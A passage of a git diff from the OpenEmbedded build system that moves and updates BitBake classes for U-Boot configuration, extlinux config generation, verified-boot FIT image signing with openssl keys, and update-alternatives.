+UBOOT_ELF_BINARY ?= "u-boot.${UBOOT_ELF_SUFFIX}"
+UBOOT_ELF_SYMLINK ?= "u-boot-${MACHINE}.${UBOOT_ELF_SUFFIX}"
+
+# Some versions of u-boot build an SPL (Second Program Loader) image that
+# should be packaged along with the u-boot binary as well as placed in the
+# deploy directory. For those versions they can set the following variables
+# to allow packaging the SPL.
+SPL_SUFFIX ?= ""
+SPL_BINARY ?= ""
+SPL_DELIMITER ?= "${@'.' if d.getVar("SPL_SUFFIX") else ''}"
+SPL_BINARYFILE ?= "${@os.path.basename(d.getVar("SPL_BINARY"))}"
+SPL_BINARYNAME ?= "${@removesuffix(d.getVar("SPL_BINARYFILE"), "." + d.getVar("SPL_SUFFIX"))}"
+SPL_IMAGE ?= "${SPL_BINARYNAME}-${MACHINE}-${PV}-${PR}${SPL_DELIMITER}${SPL_SUFFIX}"
+SPL_SYMLINK ?= "${SPL_BINARYNAME}-${MACHINE}${SPL_DELIMITER}${SPL_SUFFIX}"
+
+# Additional environment variables or a script can be installed alongside
+# u-boot to be used automatically on boot. This file, typically 'uEnv.txt'
+# or 'boot.scr', should be packaged along with u-boot as well as placed in the
+# deploy directory. Machine configurations needing one of these files should
+# include it in the SRC_URI and set the UBOOT_ENV parameter.
+UBOOT_ENV_SUFFIX ?= "txt"
+UBOOT_ENV ?= ""
+UBOOT_ENV_SRC_SUFFIX ?= "cmd"
+UBOOT_ENV_SRC ?= "${UBOOT_ENV}.${UBOOT_ENV_SRC_SUFFIX}"
+UBOOT_ENV_BINARY ?= "${UBOOT_ENV}.${UBOOT_ENV_SUFFIX}"
+UBOOT_ENV_IMAGE ?= "${UBOOT_ENV}-${MACHINE}-${PV}-${PR}.${UBOOT_ENV_SUFFIX}"
+UBOOT_ENV_SYMLINK ?= "${UBOOT_ENV}-${MACHINE}.${UBOOT_ENV_SUFFIX}"
+
+# U-Boot EXTLINUX variables. U-Boot searches for /boot/extlinux/extlinux.conf
+# to find EXTLINUX conf file.
+UBOOT_EXTLINUX_INSTALL_DIR ?= "/boot/extlinux"
+UBOOT_EXTLINUX_CONF_NAME ?= "extlinux.conf"
+UBOOT_EXTLINUX_SYMLINK ?= "${UBOOT_EXTLINUX_CONF_NAME}-${MACHINE}-${PR}"
+
+# Options for the device tree compiler passed to mkimage '-D' feature:
+UBOOT_MKIMAGE_DTCOPTS ??= ""
+SPL_MKIMAGE_DTCOPTS ??= ""
+
+# mkimage command
+UBOOT_MKIMAGE ?= "uboot-mkimage"
+UBOOT_MKIMAGE_SIGN ?= "${UBOOT_MKIMAGE}"
+
+# Signature activation - this requires KERNEL_IMAGETYPE = "fitImage"
+UBOOT_SIGN_ENABLE ?= "0"
+
+# Arguments passed to mkimage for signing
+UBOOT_MKIMAGE_SIGN_ARGS ?= ""
+SPL_MKIMAGE_SIGN_ARGS ?= ""
+
+# Options to deploy the u-boot device tree
+UBOOT_DTB ?= ""
+UBOOT_DTB_BINARY ??= ""
+
+# uboot-fit_check_sign command
+UBOOT_FIT_CHECK_SIGN ?= "uboot-fit_check_sign"
+
+python () {
+ ubootmachine = d.getVar("UBOOT_MACHINE")
+ ubootconfigflags = d.getVarFlags('UBOOT_CONFIG')
+ ubootbinary = d.getVar('UBOOT_BINARY')
+ ubootbinaries = d.getVar('UBOOT_BINARIES')
+ # The "doc" varflag is special, we don't want to see it here
+ ubootconfigflags.pop('doc', None)
+ ubootconfig = (d.getVar('UBOOT_CONFIG') or "").split()
+
+ if not ubootmachine and not ubootconfig:
+ PN = d.getVar("PN")
+ FILE = os.path.basename(d.getVar("FILE"))
+ bb.debug(1, "To build %s, see %s for instructions on \
+ setting up your machine config" % (PN, FILE))
+ raise bb.parse.SkipRecipe("Either UBOOT_MACHINE or UBOOT_CONFIG must be set in the %s machine configuration." % d.getVar("MACHINE"))
+
+ if ubootmachine and ubootconfig:
+ raise bb.parse.SkipRecipe("You cannot use UBOOT_MACHINE and UBOOT_CONFIG at the same time.")
+
+ if ubootconfigflags and ubootbinaries:
+ raise bb.parse.SkipRecipe("You cannot use UBOOT_BINARIES as it is internal to uboot_config.bbclass.")
+
+ if len(ubootconfig) > 0:
+ for config in ubootconfig:
+ found = False
+ for f, v in ubootconfigflags.items():
+ if config == f:
+ found = True
+ items = v.split(',')
+ if items[0] and len(items) > 3:
+ raise bb.parse.SkipRecipe('Only config,images,binary can be specified!')
+ d.appendVar('UBOOT_MACHINE', ' ' + items[0])
+ # IMAGE_FSTYPES appending
+ if len(items) > 1 and items[1]:
+ bb.debug(1, "Appending '%s' to IMAGE_FSTYPES." % items[1])
+ d.appendVar('IMAGE_FSTYPES', ' ' + items[1])
+ if len(items) > 2 and items[2]:
+ bb.debug(1, "Appending '%s' to UBOOT_BINARIES." % items[2])
+ d.appendVar('UBOOT_BINARIES', ' ' + items[2])
+ else:
+ bb.debug(1, "Appending '%s' to UBOOT_BINARIES." % ubootbinary)
+ d.appendVar('UBOOT_BINARIES', ' ' + ubootbinary)
+ break
+
+ if not found:
+ raise bb.parse.SkipRecipe("The selected UBOOT_CONFIG key %s has no match in %s." % (ubootconfig, ubootconfigflags.keys()))
+
+ if len(ubootconfig) == 1:
+ d.setVar('KCONFIG_CONFIG_ROOTDIR', os.path.join(d.getVar("B"), d.getVar("UBOOT_MACHINE").strip()))
+ else:
+ # Disable menuconfig for multiple configs
+ d.setVar('KCONFIG_CONFIG_ENABLE_MENUCONFIG', "false")
+}
diff --git a/meta/classes/uboot-extlinux-config.bbclass b/meta/classes-recipe/uboot-extlinux-config.bbclass
index f4bf94be04..0413e760bd 100644
--- a/meta/classes/uboot-extlinux-config.bbclass
+++ b/meta/classes-recipe/uboot-extlinux-config.bbclass
@@ -6,6 +6,8 @@
#
# External variables:
#
+# UBOOT_EXTLINUX - Set to "1" to enable generation
+# of extlinux.conf using this class.
# UBOOT_EXTLINUX_CONSOLE - Set to "console=ttyX" to change kernel boot
# default console.
# UBOOT_EXTLINUX_LABELS - A list of targets for the automatic config.
@@ -20,7 +22,10 @@
# UBOOT_EXTLINUX_TIMEOUT - Timeout before DEFAULT selection is made.
# Measured in 1/10 of a second.
# UBOOT_EXTLINUX_DEFAULT_LABEL - Target to be selected by default after
-# the timeout period
+# the timeout period.
+# UBOOT_EXTLINUX_MENU_TITLE - Menu title. If empty, MENU TITLE entry
+# will not be added to the output file.
+# UBOOT_EXTLINUX_CONFIG - Output file.
#
# If there's only one label system will boot automatically and menu won't be
# created. If you want to use more than one labels, e.g linux and alternate,
@@ -33,11 +38,11 @@
# UBOOT_EXTLINUX_DEFAULT_LABEL ??= "Linux Default"
# UBOOT_EXTLINUX_TIMEOUT ??= "30"
#
-# UBOOT_EXTLINUX_KERNEL_IMAGE_default ??= "../zImage"
-# UBOOT_EXTLINUX_MENU_DESCRIPTION_default ??= "Linux Default"
+# UBOOT_EXTLINUX_KERNEL_IMAGE:default ??= "../zImage"
+# UBOOT_EXTLINUX_MENU_DESCRIPTION:default ??= "Linux Default"
#
-# UBOOT_EXTLINUX_KERNEL_IMAGE_fallback ??= "../zImage-fallback"
-# UBOOT_EXTLINUX_MENU_DESCRIPTION_fallback ??= "Linux Fallback"
+# UBOOT_EXTLINUX_KERNEL_IMAGE:fallback ??= "../zImage-fallback"
+# UBOOT_EXTLINUX_MENU_DESCRIPTION:fallback ??= "Linux Fallback"
#
# Results:
#
@@ -54,7 +59,7 @@
# APPEND root=/dev/mmcblk2p2 rootwait rw console=${console}
#
# Copyright (C) 2016, O.S. Systems Software LTDA. All Rights Reserved
-# Released under the MIT license (see packages/COPYING)
+# SPDX-License-Identifier: MIT
#
# The kernel has an internal default console, which you can override with
# a console=...some_tty...
@@ -64,7 +69,8 @@ UBOOT_EXTLINUX_FDT ??= ""
UBOOT_EXTLINUX_FDTDIR ??= "../"
UBOOT_EXTLINUX_KERNEL_IMAGE ??= "../${KERNEL_IMAGETYPE}"
UBOOT_EXTLINUX_KERNEL_ARGS ??= "rootwait rw"
-UBOOT_EXTLINUX_MENU_DESCRIPTION_linux ??= "${DISTRO_NAME}"
+UBOOT_EXTLINUX_MENU_DESCRIPTION:linux ??= "${DISTRO_NAME}"
+UBOOT_EXTLINUX_MENU_TITLE ??= "Select the boot mode"
UBOOT_EXTLINUX_CONFIG = "${B}/extlinux.conf"
@@ -92,10 +98,11 @@ python do_create_extlinux_config() {
with open(cfile, 'w') as cfgfile:
cfgfile.write('# Generic Distro Configuration file generated by OpenEmbedded\n')
- if len(labels.split()) > 1:
- cfgfile.write('menu title Select the boot mode\n')
+ menu_title = localdata.getVar('UBOOT_EXTLINUX_MENU_TITLE')
+ if len(labels.split()) > 1 and menu_title:
+ cfgfile.write('MENU TITLE %s\n' % (menu_title))
- timeout = localdata.getVar('UBOOT_EXTLINUX_TIMEOUT')
+ timeout = localdata.getVar('UBOOT_EXTLINUX_TIMEOUT')
if timeout:
cfgfile.write('TIMEOUT %s\n' % (timeout))
@@ -152,6 +159,7 @@ python do_create_extlinux_config() {
bb.fatal('Unable to open %s' % (cfile))
}
UBOOT_EXTLINUX_VARS = "CONSOLE MENU_DESCRIPTION ROOT KERNEL_IMAGE FDTDIR FDT KERNEL_ARGS INITRD"
-do_create_extlinux_config[vardeps] += "${@' '.join(['UBOOT_EXTLINUX_%s_%s' % (v, l) for v in d.getVar('UBOOT_EXTLINUX_VARS').split() for l in d.getVar('UBOOT_EXTLINUX_LABELS').split()])}"
+do_create_extlinux_config[vardeps] += "${@' '.join(['UBOOT_EXTLINUX_%s:%s' % (v, l) for v in d.getVar('UBOOT_EXTLINUX_VARS').split() for l in d.getVar('UBOOT_EXTLINUX_LABELS').split()])}"
+do_create_extlinux_config[vardepsexclude] += "OVERRIDES"
addtask create_extlinux_config before do_install do_deploy after do_compile
diff --git a/meta/classes-recipe/uboot-sign.bbclass b/meta/classes-recipe/uboot-sign.bbclass
new file mode 100644
index 0000000000..7a0b8047e4
--- /dev/null
+++ b/meta/classes-recipe/uboot-sign.bbclass
@@ -0,0 +1,466 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# This file is part of U-Boot verified boot support and is intended to be
+# inherited from the u-boot recipe.
+#
+# The signature procedure requires the user to generate an RSA key and
+# certificate in a directory and to define the following variable:
+#
+# UBOOT_SIGN_KEYDIR = "/keys/directory"
+# UBOOT_SIGN_KEYNAME = "dev" # keys name in keydir (eg. "dev.crt", "dev.key")
+# UBOOT_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
+# UBOOT_SIGN_ENABLE = "1"
+#
+# As verified boot depends on fitImage generation, following is also required:
+#
+# KERNEL_CLASSES ?= " kernel-fitimage "
+# KERNEL_IMAGETYPE ?= "fitImage"
+#
+# The signature support is limited to the use of CONFIG_OF_SEPARATE in U-Boot.
+#
+# For more details on signature process, please refer to U-Boot documentation.
+
+# We need some variables from u-boot-config
+inherit uboot-config
+
+# Enable use of a U-Boot fitImage
+UBOOT_FITIMAGE_ENABLE ?= "0"
+
+# Signature activation - this requires UBOOT_FITIMAGE_ENABLE = "1"
+SPL_SIGN_ENABLE ?= "0"
+
+# Default value for deployment filenames.
+UBOOT_DTB_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.dtb"
+UBOOT_DTB_BINARY ?= "u-boot.dtb"
+UBOOT_DTB_SIGNED ?= "${UBOOT_DTB_BINARY}-signed"
+UBOOT_DTB_SYMLINK ?= "u-boot-${MACHINE}.dtb"
+UBOOT_NODTB_IMAGE ?= "u-boot-nodtb-${MACHINE}-${PV}-${PR}.bin"
+UBOOT_NODTB_BINARY ?= "u-boot-nodtb.bin"
+UBOOT_NODTB_SYMLINK ?= "u-boot-nodtb-${MACHINE}.bin"
+UBOOT_ITS_IMAGE ?= "u-boot-its-${MACHINE}-${PV}-${PR}"
+UBOOT_ITS ?= "u-boot.its"
+UBOOT_ITS_SYMLINK ?= "u-boot-its-${MACHINE}"
+UBOOT_FITIMAGE_IMAGE ?= "u-boot-fitImage-${MACHINE}-${PV}-${PR}"
+UBOOT_FITIMAGE_BINARY ?= "u-boot-fitImage"
+UBOOT_FITIMAGE_SYMLINK ?= "u-boot-fitImage-${MACHINE}"
+SPL_DIR ?= "spl"
+SPL_DTB_IMAGE ?= "u-boot-spl-${MACHINE}-${PV}-${PR}.dtb"
+SPL_DTB_BINARY ?= "u-boot-spl.dtb"
+SPL_DTB_SIGNED ?= "${SPL_DTB_BINARY}-signed"
+SPL_DTB_SYMLINK ?= "u-boot-spl-${MACHINE}.dtb"
+SPL_NODTB_IMAGE ?= "u-boot-spl-nodtb-${MACHINE}-${PV}-${PR}.bin"
+SPL_NODTB_BINARY ?= "u-boot-spl-nodtb.bin"
+SPL_NODTB_SYMLINK ?= "u-boot-spl-nodtb-${MACHINE}.bin"
+
+# U-Boot fitImage description
+UBOOT_FIT_DESC ?= "U-Boot fitImage for ${DISTRO_NAME}/${PV}/${MACHINE}"
+
+# U-Boot fitImage Hash Algo
+UBOOT_FIT_HASH_ALG ?= "sha256"
+
+# U-Boot fitImage Signature Algo
+UBOOT_FIT_SIGN_ALG ?= "rsa2048"
+
+# Generate keys for signing U-Boot fitImage
+UBOOT_FIT_GENERATE_KEYS ?= "0"
+
+# Size of private keys in number of bits
+UBOOT_FIT_SIGN_NUMBITS ?= "2048"
+
+# args to openssl genrsa (Default is just the public exponent)
+UBOOT_FIT_KEY_GENRSA_ARGS ?= "-F4"
+
+# args to openssl req (Default is -batch for non interactive mode and
+# -new for new certificate)
+UBOOT_FIT_KEY_REQ_ARGS ?= "-batch -new"
+
+# Standard format for public key certificate
+UBOOT_FIT_KEY_SIGN_PKCS ?= "-x509"
+
+# length of address in number of <u32> cells
+# ex: 1 32bits address, 2 64bits address
+UBOOT_FIT_ADDRESS_CELLS ?= "1"
+
+# This is only necessary for determining the signing configuration
+KERNEL_PN = "${PREFERRED_PROVIDER_virtual/kernel}"
+
+UBOOT_FIT_UBOOT_LOADADDRESS ?= "${UBOOT_LOADADDRESS}"
+UBOOT_FIT_UBOOT_ENTRYPOINT ?= "${UBOOT_ENTRYPOINT}"
+
+python() {
+ # We need u-boot-tools-native if we're creating a U-Boot fitImage
+ sign = d.getVar('UBOOT_SIGN_ENABLE') == '1'
+ if d.getVar('UBOOT_FITIMAGE_ENABLE') == '1' or sign:
+ d.appendVar('DEPENDS', " u-boot-tools-native dtc-native")
+ if sign:
+ d.appendVar('DEPENDS', " " + d.getVar('KERNEL_PN'))
+}
+
+concat_dtb() {
+ type="$1"
+ binary="$2"
+
+ if [ -e "${UBOOT_DTB_BINARY}" ]; then
+ # Re-sign the kernel in order to add the keys to our dtb
+ ${UBOOT_MKIMAGE_SIGN} \
+ ${@'-D "${UBOOT_MKIMAGE_DTCOPTS}"' if len('${UBOOT_MKIMAGE_DTCOPTS}') else ''} \
+ -F -k "${UBOOT_SIGN_KEYDIR}" \
+ -K "${UBOOT_DTB_BINARY}" \
+ -r ${B}/fitImage-linux \
+ ${UBOOT_MKIMAGE_SIGN_ARGS}
+ # Verify the kernel image and u-boot dtb
+ ${UBOOT_FIT_CHECK_SIGN} \
+ -k "${UBOOT_DTB_BINARY}" \
+ -f ${B}/fitImage-linux
+ cp ${UBOOT_DTB_BINARY} ${UBOOT_DTB_SIGNED}
+ fi
+
+ # If we're not using a signed u-boot fit, concatenate SPL w/o DTB & U-Boot DTB
+ # with public key (otherwise U-Boot will be packaged by uboot_fitimage_assemble)
+ if [ "${SPL_SIGN_ENABLE}" != "1" ] ; then
+ if [ "x${UBOOT_SUFFIX}" = "ximg" -o "x${UBOOT_SUFFIX}" = "xrom" ] && \
+ [ -e "${UBOOT_DTB_BINARY}" ]; then
+ oe_runmake EXT_DTB="${UBOOT_DTB_SIGNED}" ${UBOOT_MAKE_TARGET}
+ if [ -n "${binary}" ]; then
+ cp ${binary} ${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX}
+ fi
+ elif [ -e "${UBOOT_NODTB_BINARY}" -a -e "${UBOOT_DTB_BINARY}" ]; then
+ if [ -n "${binary}" ]; then
+ cat ${UBOOT_NODTB_BINARY} ${UBOOT_DTB_SIGNED} | tee ${binary} > \
+ ${UBOOT_BINARYNAME}-${type}.${UBOOT_SUFFIX}
+ else
+ cat ${UBOOT_NODTB_BINARY} ${UBOOT_DTB_SIGNED} > ${UBOOT_BINARY}
+ fi
+ else
+ bbwarn "Failure while adding public key to u-boot binary. Verified boot won't be available."
+ fi
+ fi
+}
+
+deploy_dtb() {
+ type="$1"
+
+ if [ -n "${type}" ]; then
+ uboot_dtb_binary="u-boot-${type}-${PV}-${PR}.dtb"
+ uboot_nodtb_binary="u-boot-nodtb-${type}-${PV}-${PR}.bin"
+ else
+ uboot_dtb_binary="${UBOOT_DTB_IMAGE}"
+ uboot_nodtb_binary="${UBOOT_NODTB_IMAGE}"
+ fi
+
+ if [ -e "${UBOOT_DTB_SIGNED}" ]; then
+ install -Dm644 ${UBOOT_DTB_SIGNED} ${DEPLOYDIR}/${uboot_dtb_binary}
+ if [ -n "${type}" ]; then
+ ln -sf ${uboot_dtb_binary} ${DEPLOYDIR}/${UBOOT_DTB_IMAGE}
+ fi
+ fi
+
+ if [ -f "${UBOOT_NODTB_BINARY}" ]; then
+ install -Dm644 ${UBOOT_NODTB_BINARY} ${DEPLOYDIR}/${uboot_nodtb_binary}
+ if [ -n "${type}" ]; then
+ ln -sf ${uboot_nodtb_binary} ${DEPLOYDIR}/${UBOOT_NODTB_IMAGE}
+ fi
+ fi
+}
+
+concat_spl_dtb() {
+ if [ -e "${SPL_DIR}/${SPL_NODTB_BINARY}" -a -e "${SPL_DIR}/${SPL_DTB_BINARY}" ] ; then
+ cat ${SPL_DIR}/${SPL_NODTB_BINARY} ${SPL_DIR}/${SPL_DTB_SIGNED} > "${SPL_BINARY}"
+ else
+ bbwarn "Failure while adding public key to spl binary. Verified U-Boot boot won't be available."
+ fi
+}
+
+deploy_spl_dtb() {
+ type="$1"
+
+ if [ -n "${type}" ]; then
+ spl_dtb_binary="u-boot-spl-${type}-${PV}-${PR}.dtb"
+ spl_nodtb_binary="u-boot-spl-nodtb-${type}-${PV}-${PR}.bin"
+ else
+ spl_dtb_binary="${SPL_DTB_IMAGE}"
+ spl_nodtb_binary="${SPL_NODTB_IMAGE}"
+ fi
+
+ if [ -e "${SPL_DIR}/${SPL_DTB_SIGNED}" ] ; then
+ install -Dm644 ${SPL_DIR}/${SPL_DTB_SIGNED} ${DEPLOYDIR}/${spl_dtb_binary}
+ if [ -n "${type}" ]; then
+ ln -sf ${spl_dtb_binary} ${DEPLOYDIR}/${SPL_DTB_IMAGE}
+ fi
+ fi
+
+ if [ -f "${SPL_DIR}/${SPL_NODTB_BINARY}" ] ; then
+ install -Dm644 ${SPL_DIR}/${SPL_NODTB_BINARY} ${DEPLOYDIR}/${spl_nodtb_binary}
+ if [ -n "${type}" ]; then
+ ln -sf ${spl_nodtb_binary} ${DEPLOYDIR}/${SPL_NODTB_IMAGE}
+ fi
+ fi
+
+ # For backwards compatibility...
+ install -Dm644 ${SPL_BINARY} ${DEPLOYDIR}/${SPL_IMAGE}
+}
+
+do_uboot_generate_rsa_keys() {
+ if [ "${SPL_SIGN_ENABLE}" = "0" ] && [ "${UBOOT_FIT_GENERATE_KEYS}" = "1" ]; then
+ bbwarn "UBOOT_FIT_GENERATE_KEYS is set to 1 eventhough SPL_SIGN_ENABLE is set to 0. The keys will not be generated as they won't be used."
+ fi
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] && [ "${UBOOT_FIT_GENERATE_KEYS}" = "1" ]; then
+
+ # Generate keys only if they don't already exist
+ if [ ! -f "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".key ] || \
+ [ ! -f "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".crt ]; then
+
+ # make directory if it does not already exist
+ mkdir -p "${SPL_SIGN_KEYDIR}"
+
+ echo "Generating RSA private key for signing U-Boot fitImage"
+ openssl genrsa ${UBOOT_FIT_KEY_GENRSA_ARGS} -out \
+ "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".key \
+ "${UBOOT_FIT_SIGN_NUMBITS}"
+
+ echo "Generating certificate for signing U-Boot fitImage"
+ openssl req ${UBOOT_FIT_KEY_REQ_ARGS} "${UBOOT_FIT_KEY_SIGN_PKCS}" \
+ -key "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".key \
+ -out "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".crt
+ fi
+ fi
+
+}
+
+addtask uboot_generate_rsa_keys before do_uboot_assemble_fitimage after do_compile
+
+# Create a ITS file for the U-boot FIT, for use when
+# we want to sign it so that the SPL can verify it
+uboot_fitimage_assemble() {
+ rm -f ${UBOOT_ITS} ${UBOOT_FITIMAGE_BINARY}
+
+ # First we create the ITS script
+ cat << EOF >> ${UBOOT_ITS}
+/dts-v1/;
+
+/ {
+ description = "${UBOOT_FIT_DESC}";
+ #address-cells = <${UBOOT_FIT_ADDRESS_CELLS}>;
+
+ images {
+ uboot {
+ description = "U-Boot image";
+ data = /incbin/("${UBOOT_NODTB_BINARY}");
+ type = "standalone";
+ os = "u-boot";
+ arch = "${UBOOT_ARCH}";
+ compression = "none";
+ load = <${UBOOT_FIT_UBOOT_LOADADDRESS}>;
+ entry = <${UBOOT_FIT_UBOOT_ENTRYPOINT}>;
+EOF
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] ; then
+ cat << EOF >> ${UBOOT_ITS}
+ signature {
+ algo = "${UBOOT_FIT_HASH_ALG},${UBOOT_FIT_SIGN_ALG}";
+ key-name-hint = "${SPL_SIGN_KEYNAME}";
+ };
+EOF
+ fi
+
+ cat << EOF >> ${UBOOT_ITS}
+ };
+ fdt {
+ description = "U-Boot FDT";
+ data = /incbin/("${UBOOT_DTB_BINARY}");
+ type = "flat_dt";
+ arch = "${UBOOT_ARCH}";
+ compression = "none";
+EOF
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] ; then
+ cat << EOF >> ${UBOOT_ITS}
+ signature {
+ algo = "${UBOOT_FIT_HASH_ALG},${UBOOT_FIT_SIGN_ALG}";
+ key-name-hint = "${SPL_SIGN_KEYNAME}";
+ };
+EOF
+ fi
+
+ cat << EOF >> ${UBOOT_ITS}
+ };
+ };
+
+ configurations {
+ default = "conf";
+ conf {
+ description = "Boot with signed U-Boot FIT";
+ loadables = "uboot";
+ fdt = "fdt";
+ };
+ };
+};
+EOF
+
+ #
+ # Assemble the U-boot FIT image
+ #
+ ${UBOOT_MKIMAGE} \
+ ${@'-D "${SPL_MKIMAGE_DTCOPTS}"' if len('${SPL_MKIMAGE_DTCOPTS}') else ''} \
+ -f ${UBOOT_ITS} \
+ ${UBOOT_FITIMAGE_BINARY}
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] ; then
+ #
+ # Sign the U-boot FIT image and add public key to SPL dtb
+ #
+ ${UBOOT_MKIMAGE_SIGN} \
+ ${@'-D "${SPL_MKIMAGE_DTCOPTS}"' if len('${SPL_MKIMAGE_DTCOPTS}') else ''} \
+ -F -k "${SPL_SIGN_KEYDIR}" \
+ -K "${SPL_DIR}/${SPL_DTB_BINARY}" \
+ -r ${UBOOT_FITIMAGE_BINARY} \
+ ${SPL_MKIMAGE_SIGN_ARGS}
+ #
+ # Verify the U-boot FIT image and SPL dtb
+ #
+ ${UBOOT_FIT_CHECK_SIGN} \
+ -k "${SPL_DIR}/${SPL_DTB_BINARY}" \
+ -f ${UBOOT_FITIMAGE_BINARY}
+ fi
+
+ if [ -e "${SPL_DIR}/${SPL_DTB_BINARY}" ]; then
+ cp ${SPL_DIR}/${SPL_DTB_BINARY} ${SPL_DIR}/${SPL_DTB_SIGNED}
+ fi
+}
+
+uboot_assemble_fitimage_helper() {
+ type="$1"
+ binary="$2"
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a -n "${UBOOT_DTB_BINARY}" ] ; then
+ concat_dtb $type $binary
+ fi
+
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" -a -n "${SPL_DTB_BINARY}" ]; then
+ uboot_fitimage_assemble
+ fi
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" -a -n "${SPL_DTB_BINARY}" ] ; then
+ concat_spl_dtb
+ fi
+}
+
+do_uboot_assemble_fitimage() {
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" ] ; then
+ cp "${STAGING_DIR_HOST}/sysroot-only/fitImage" "${B}/fitImage-linux"
+ fi
+
+ if [ -n "${UBOOT_CONFIG}" ]; then
+ unset i j k
+ for config in ${UBOOT_MACHINE}; do
+ i=$(expr $i + 1);
+ for type in ${UBOOT_CONFIG}; do
+ j=$(expr $j + 1);
+ if [ $j -eq $i ]; then
+ break;
+ fi
+ done
+
+ for binary in ${UBOOT_BINARIES}; do
+ k=$(expr $j + 1);
+ if [ $k -eq $i ]; then
+ break;
+ fi
+ done
+
+ cd ${B}/${config}
+ uboot_assemble_fitimage_helper ${type} ${binary}
+ done
+ else
+ cd ${B}
+ uboot_assemble_fitimage_helper "" ${UBOOT_BINARY}
+ fi
+}
+
+addtask uboot_assemble_fitimage before do_install do_deploy after do_compile
+
+deploy_helper() {
+ type="$1"
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a -n "${UBOOT_DTB_SIGNED}" ] ; then
+ deploy_dtb $type
+ fi
+
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" -a -n "${SPL_DTB_BINARY}" ]; then
+ if [ -n "${type}" ]; then
+ uboot_its_image="u-boot-its-${type}-${PV}-${PR}"
+ uboot_fitimage_image="u-boot-fitImage-${type}-${PV}-${PR}"
+ else
+ uboot_its_image="${UBOOT_ITS_IMAGE}"
+ uboot_fitimage_image="${UBOOT_FITIMAGE_IMAGE}"
+ fi
+
+ install -Dm644 ${UBOOT_FITIMAGE_BINARY} ${DEPLOYDIR}/$uboot_fitimage_image
+ install -Dm644 ${UBOOT_ITS} ${DEPLOYDIR}/$uboot_its_image
+
+ if [ -n "${type}" ]; then
+ ln -sf $uboot_its_image ${DEPLOYDIR}/${UBOOT_ITS_IMAGE}
+ ln -sf $uboot_fitimage_image ${DEPLOYDIR}/${UBOOT_FITIMAGE_IMAGE}
+ fi
+ fi
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" -a -n "${SPL_DTB_SIGNED}" ] ; then
+ deploy_spl_dtb $type
+ fi
+}
+
+do_deploy:prepend() {
+ if [ -n "${UBOOT_CONFIG}" ]; then
+ unset i j k
+ for config in ${UBOOT_MACHINE}; do
+ i=$(expr $i + 1);
+ for type in ${UBOOT_CONFIG}; do
+ j=$(expr $j + 1);
+ if [ $j -eq $i ]; then
+ cd ${B}/${config}
+ deploy_helper ${type}
+ fi
+ done
+ unset j
+ done
+ unset i
+ else
+ cd ${B}
+ deploy_helper ""
+ fi
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a -n "${UBOOT_DTB_BINARY}" ] ; then
+ ln -sf ${UBOOT_DTB_IMAGE} ${DEPLOYDIR}/${UBOOT_DTB_BINARY}
+ ln -sf ${UBOOT_DTB_IMAGE} ${DEPLOYDIR}/${UBOOT_DTB_SYMLINK}
+ ln -sf ${UBOOT_NODTB_IMAGE} ${DEPLOYDIR}/${UBOOT_NODTB_SYMLINK}
+ ln -sf ${UBOOT_NODTB_IMAGE} ${DEPLOYDIR}/${UBOOT_NODTB_BINARY}
+ fi
+
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" ] ; then
+ ln -sf ${UBOOT_ITS_IMAGE} ${DEPLOYDIR}/${UBOOT_ITS}
+ ln -sf ${UBOOT_ITS_IMAGE} ${DEPLOYDIR}/${UBOOT_ITS_SYMLINK}
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_FITIMAGE_BINARY}
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_FITIMAGE_SYMLINK}
+ fi
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" -a -n "${SPL_DTB_BINARY}" ] ; then
+ ln -sf ${SPL_DTB_IMAGE} ${DEPLOYDIR}/${SPL_DTB_SYMLINK}
+ ln -sf ${SPL_DTB_IMAGE} ${DEPLOYDIR}/${SPL_DTB_BINARY}
+ ln -sf ${SPL_NODTB_IMAGE} ${DEPLOYDIR}/${SPL_NODTB_SYMLINK}
+ ln -sf ${SPL_NODTB_IMAGE} ${DEPLOYDIR}/${SPL_NODTB_BINARY}
+ fi
+}
+
+do_deploy:append() {
+ # If we're creating a u-boot fitImage, point u-boot.bin
+ # symlink since it might get used by image recipes
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" ] ; then
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_BINARY}
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_SYMLINK}
+ fi
+}
diff --git a/meta/classes/update-alternatives.bbclass b/meta/classes-recipe/update-alternatives.bbclass
index 8c2b66e7f1..b153e1b297 100644
--- a/meta/classes/update-alternatives.bbclass
+++ b/meta/classes-recipe/update-alternatives.bbclass
@@ -1,14 +1,20 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# This class is used to help the alternatives system which is useful when
-# multiple sources provide same command. You can use update-alternatives
+# multiple sources provide the same command. You can use update-alternatives
# command directly in your recipe, but in most cases this class simplifies
# that job.
#
# To use this class a number of variables should be defined:
#
# List all of the alternatives needed by a package:
-# ALTERNATIVE_<pkg> = "name1 name2 name3 ..."
